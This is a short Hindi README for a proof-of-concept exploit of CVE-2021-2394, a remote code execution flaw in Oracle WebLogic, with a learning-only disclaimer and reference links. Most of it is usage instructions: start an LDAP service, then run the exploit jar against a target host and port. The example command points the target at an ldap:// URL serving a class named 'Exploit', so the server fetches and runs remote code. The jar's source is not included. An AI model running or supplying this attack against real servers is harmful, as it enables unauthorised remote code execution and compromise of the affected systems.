CVE-2021-2394

CVE-2021-2394 का POC

• अस्वीकरण
  • यह परियोजना केवल शिक्षण उद्देश्यों के लिए है, किसी भी अनधिकृत परीक्षण के कारण प्रत्यक्ष या अप्रत्यक्ष परिणाम और हानि उपयोगकर्ता की स्वयं की जिम्मेदारी है

• ध्यान देने योग्य बातें

  • POC IIOP का उपयोग करके पैकेट भेजता है, कृपया संबंधित निर्भरताएँ जोड़ें (12.2.1.3.0 संस्करण की निर्भरताएँ रिलीज़ में रखी गई हैं)
  • कृपया परीक्षण के लिए निम्न संस्करण के JDK के साथ WebLogic स्थापित करें

• उपयोग विधि:

  • एक LDAP सेवा प्रारंभ करें
  • java -jar CVE_2021_2394.jar rhost rport ldapurl
  • उदा.: java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit

• संदर्भ लिंक:

  • https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
  • https://github.com/Y4er/CVE-2020-14756